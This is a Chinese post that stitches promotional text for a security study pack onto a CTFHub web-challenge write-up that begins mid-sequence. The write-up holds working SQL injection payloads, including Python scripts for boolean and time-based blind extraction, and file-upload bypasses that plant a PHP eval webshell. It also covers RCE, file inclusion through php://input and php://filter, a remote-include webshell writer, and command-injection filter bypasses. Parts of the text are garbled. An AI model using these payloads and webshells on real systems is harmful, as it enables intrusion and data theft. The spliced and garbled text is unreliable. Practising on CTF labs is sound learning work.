本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
得到表名为flag,news
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’
查字段名为flag
?id=1 and 1=2 union select 1,sfrom flag,得到flag
字符型注入
?id=1’ order by 2–+ 判断出有两个字段
?id=-1’ union select 1,2–+ 1,2处有回显
?id=-1’ union select database(),version()–+ 查库名和版本号
?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’–+ 查表名
?id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’–+ 查字段名
?id=-1’ union select 1,flag from flag–+
报错注入
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 查库名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ ),0x7e),1) --+ 查字段名
?id=1 and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1) --+
布尔盲注
?id=1 and length(database())>=4返回正常,>=5返回错误 说明数据库长度为4
接下来判断数据库名,因为要逐一判断,所以采用bp爆破的方式
?id=1 and substr(database(),1,1)=‘a’,抓包发送到intruder模块,选择Cluster bomb
设置payload,az,AZ,0~9,@*_等特殊字符,开始爆破
得到数据库名为sqli
?id=1 and length((select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’))>=1 判断表长
=9时返回正常,>=10时返回错误,说明长度为9
?id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’),1,1)=‘f’ 逐一判断表名
得到表名为flag,news
判断字段长度
?id=1 and length((select group_concat(column_name) from information_schema.columns where table_name=‘flag’))>=4
说明长度为4,再逐一判断字段名
?id=1 and substr((select group_concat(column_name) from information_schema.columns where table_name=‘flag’),1,1)=‘a’
得到字段名为flag
逐一判断字段内容长度
?id=1 and length((select flag from flag))>=10
长度为32,?id=1 and substr((select flag from flag),1,1)=‘c’,再逐一判断内容
得到flag为ctfhub{59440304d74cfde9ef3fdd37}
也可以采用脚本爆破的方式进行盲注
import requests
url='http://challenge-905a4626f506fb6e.sandbox.ctfhub.com:10800/?id=1 and '
db_name='' #数据库名
table_name='' #表名
column_name='' #字段名
flag='' #flag
s="0123456789abcdefghijklmnopqrstuvwxyz{,}"
# 获取数据库名的payload
payload1="substr(database(),%d,1)='%c'"
for i in range(1,5):
for j in s:
result1=requests.get(url+payload1%(i,j))
# print(url+payload1%(i,j))
if 'query_success' in result1.text:
db_name+=j
break
print("数据库名为%s"%db_name)
#猜表名的payload
payload2="substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),%d,1)='%c'"
for i in range(1,10):
for j in s:
result2=requests.get(url+payload2%(i,j))
# print(url+payload2)
if 'query_success' in result2.text:
table_name+=j
break
print("表名为%s"%table_name)
#猜flag表的字段payload
payload3="substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1)='%c'"
for i in range(1,5):
for j in s:
result3=requests.get(url+payload3%(i,j))
# print(url+payload3)
if 'query_success' in result3.text:
column_name+=j
break
print("字段名为%s"%column_name)
#获取flag的内容
payload4="substr((select flag from flag),%d,1)='%c'"
for i in range(1,33):
for j in s:
result4=requests.get(url+payload4%(i,j))
# print(url+payload3)
if 'query_success' in result4.text:
flag+=j
break
print("flag为%s"%flag)
时间盲注
输入什么都不返回,此时就可以尝试时间盲注
?id=1 and sleep(3) 发现延迟了3秒才返回,说明存在注入点
?id=1 and if(length(database())>=1,sleep(3),1)
利用if语句,如果前面判断成立就执行sleep(3),具体思路和盲注一样,这里直接上脚本
import requests
import time
url='http://challenge-6651319dc25e2870.sandbox.ctfhub.com:10800/?id=1 and '
db_name='' #数据库名
table_name='' #表名
column_name='' #字段名
flag='' #flag
s="0123456789abcdefghijklmnopqrstuvwxyz{,}"
# 获取数据库名的payload
payload1="if(substr(database(),%d,1)='%c',sleep(3),1)"
for i in range(1,5):
for j in s:
t1=time.time()
result1=requests.get(url+payload1%(i,j))
# print(url+payload1%(i,j))
t2=time.time()
# print(t2-t1)
t=t2-t1
if t>3:
db_name+=j
break
print("数据库名为%s"%db_name)
#猜表名的payload
payload2="if(substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),%d,1)='%c',sleep(3),1)"
for i in range(1,10):
for j in s:
t1=time.time()
result2=requests.get(url+payload2%(i,j))
# print(url+payload2)
t2=time.time()
t=t2-t1
if t>3:
table_name+=j
break
print("表名为%s"%table_name)
#猜flag表的字段payload
payload3="if(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1)='%c',sleep(3),1)"
for i in range(1,5):
for j in s:
t1=time.time()
result3=requests.get(url+payload3%(i,j))
# print(url+payload3)
t2=time.time()
t=t2-t1
if t>3:
column_name+=j
break
print("字段名为%s"%column_name)
#获取flag的内容
payload4="if(substr((select flag from flag),%d,1)='%c',sleep(3),1)"
for i in range(1,33):
for j in s:
t1=time.time()
result4=requests.get(url+payload4%(i,j))
# print(url+payload3)
t2=time.time()
print(t2-t1)
t=t2-t1
if t>3:
flag+=j
break
print("flag为%s"%flag)
MySQL结构
测试了一下也是数字型注入,跟之前一样的思路
查回显位 ?id=-1 union select 1,2
查数据库名 ?id=-1 union select database(),version()
查表名 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
查字段名 ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘cqlvuujgcf’
查flag ?id=-1 union select 1,skxzqbspab from cqlvuujgcf
Cookie注入
bp抓包发送到repeater模块,在cookie项添加id=1
用and 1=1和and 1=2判断出是数字型注入
Cookie: id=1+order+by+3; 判断出有两个字段
Cookie: id=-1+union+select+1,2; 判断回显位
Cookie: id=-1+union+select+database(),version(); 判断库名和版本
Cookie: id=-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=‘sqli’; 判断表名
Cookie: id=-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=‘vpqyiyegxl’; 判断字段名
Cookie: id=-1+union+select+1,hypaqvwkym+from+vpqyiyegxl; 查字段内容
UA注入
bp抓包发送到repeater模块,将User-Agent的值改为1,再用and 1=1和and 1=2 判断出为数字型注入
User-Agent:1 order by 2
User-Agent:-1 union select 1,2
User-Agent:-1 union select 1,database()
User-Agent:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
User-Agent:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='qtanuxwndk
User-Agent:-1 union select 1,iarnbdnvts from qtanuxwndk
Refer注入
也是bp抓包,修改refer的值,再进行注入
Referer: 1 order by 2
Referer: -1 union select 1,2
Referer: -1 union select 1,database()
Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘sqlyqzevmr’
Referer: -1 union select 1,dvidlvlifi from sqlyqzevmr
过滤空格
题目说了过滤空格,那么就可以用注释的方法绕过,如/**/
?id=1/**/order/**/by/**/2
?id=-1/**/union/**/select/**/1,2
?id=-1/**/union/**/select/**/1,database()
?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=‘sqli’
?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=‘ykdtufnqax’
?id=-1/**/union/**/select/**/1,ucyvexdzpv/**/from/**/ykdtufnqax
文件上传
无验证
因为是无验证,所以直接写一个<?php @eval($\_POST['a']); ?>的php文件上传就好了,然后蚁剑连接,得到flag
前端验证
将文件名改成1.jpg然后bp抓包进行上传,在bp里将后缀改回php,蚁剑连接即可
.htaccess
先上传一个.htaccess文件,内容如下:
SetHandler application/x-httpd-php
这样当前目录下的所有文件都会被当初php来解析
然后再上传1.jpg,蚁剑连接
MIME验证
上传1.php用bp抓包,将文件类型也就是Content-Type修改为image/jpeg
00截断
上传1.php使用bp抓包在文件名后面添加%00.jpg,发现上传成功却没有返回地址
F12查看源代码
关键在这一句,上传成功后会在10到99中随机取一个数,这样上传的路径就不确定,也无法连接,所以也要采用00截断
修改这两处,再蚁剑连接/upload/1.php即可得到flag
双写后缀
直接上传1.php发现php被替换为空,尝试双写绕过,修改文件名为1.pphphp,上传成功
蚁剑连接/upload/1.php
文件头检测
直接上传1.php提示文件类型不正确,只允许上传jpg、png、gif类型的文件
根据题目意思文件头检测,上传1.php使用bp抓包
在1.php内容开头部分添加GIF89a并且修改文件类型为image/gif
上传成功,蚁剑连接得到flag
RCE
eval执行
传个?cmd=system(‘ls’);发现能够执行ls命令,当前目录下存在index.php文件
?cmd=system(‘ls /’); 查看根目录下是否存在flag
发现存在flag_29557文件
?cmd=system(‘cat /flag_29557’);
cat一下得到flag
文件包含
这段代码的意思是通过get的方式传入参数file,如果传入的参数中包含flag就会输出Hacker!!!,否则就直接显示这个文件内容。
发现底下有个提示,点进去跳转到/shell.txt,是一句话木马
这样就可以利用,传入如下参数
接下来就跟上题一样,ls /,然后cat /flag
php://input
get方式传入的file参数前6位必须包含php://,这样才能包含文件,否则输出Hacker!!!
因为不知道文件名,所以这时候可以考虑php://input
php://input 是个可以访问请求的原始数据的只读流。当请求方式是post,并且Content-Type不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。
bp抓包,将请求方式改为POST,在最底下传入<? php system(‘ls /’); ?>
就可以执行该命令,得到根目录下的文件,再cat一下就可以得到flag
读取源代码
同样的代码,但是这次直接给了flag的路径,所以用php://filter
传入?file=php://filter/convert.base64-encode/resource=/flag
得到base64编码过的flag,解码一下即可
远程包含
这题的考点是远程包含
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。这样就可以通过传入url地址对远程文件进行包含,这样就可以传入恶意代码。
这里需要你自己有一个服务器,然后在上面写一个恶意文件
内容为:
<?php fputs(fopen('shell.php','w'),<?php @eval($\_POST['a']); ?>) ?>
然后再通过远程包含的方式执行恶意文件。
如:传入?file=url(你的服务器网址)/shell.txt(你的恶意文件)
这样就可以getshell
由于我这里没用服务器就继续用的php://input做的
命令注入
exec()也是一个命令执行的函数,不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
这里介绍一下Linux的管道符
“;”执行完前面的语句再执行后面的
“|”显示后面语句的执行结果
“||”如果前面语句执行错误则执行后面的语句。
“&”先执行前面的语句再执行后面的语句,前面的语句可真可假
“&&”如果前面的语句为假则不执行后面的语句
这里传入?ip=127.0.0.1|ls,这样就可以直接将后面ls的执行结果返回到数组里
再传入?ip=127.0.0.1|cat 299184029374.php
F12查看源代码,发现flag
过滤cat
?ip=127.0.0.1|ls,可以看到存在一个flag_17820564616394.php
Linux下查看文件内容一般常用cat、nl、less、tail、head、tac这几个命令
题目提示了过滤cat,这里可以用tac代替传入
payload:?ip=127.0.0.1|tac flag_17820564616394.php
F12查看源代码,得到flag
过滤空格
?ip=127.0.0.1|ls,也是先ls查看一下当前目录下的文件
题目说了过滤空格,那就可以用 I F S 、 {IFS}、 IFS、IFS$9、<、%09来代替
如 ?ip=1|cat${IFS}flag_2093714746590.php
F12查看源代码即可得到flag
过滤目录分隔符
传入?ip=1|ls,发现存在一个flag_is_here,cat一下没有成功,可能是个目录,ls一下看看
?ip=1|ls flag_is_here
由于过滤了目录分隔符,就不能直接cat,考虑一下使用;和cd命令一级一级切换目录
?ip=1;cd flag_is_here;cat flag_64092643013780.php
由于;是一句句执行的,所以就可以先cd到flag_is_here,再cat flag
过滤运算符
可以看到过滤了|和&,这里可以改用;
?ip=1;ls
?ip=1;cat flag_230682822421150.php
综合过滤练习
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!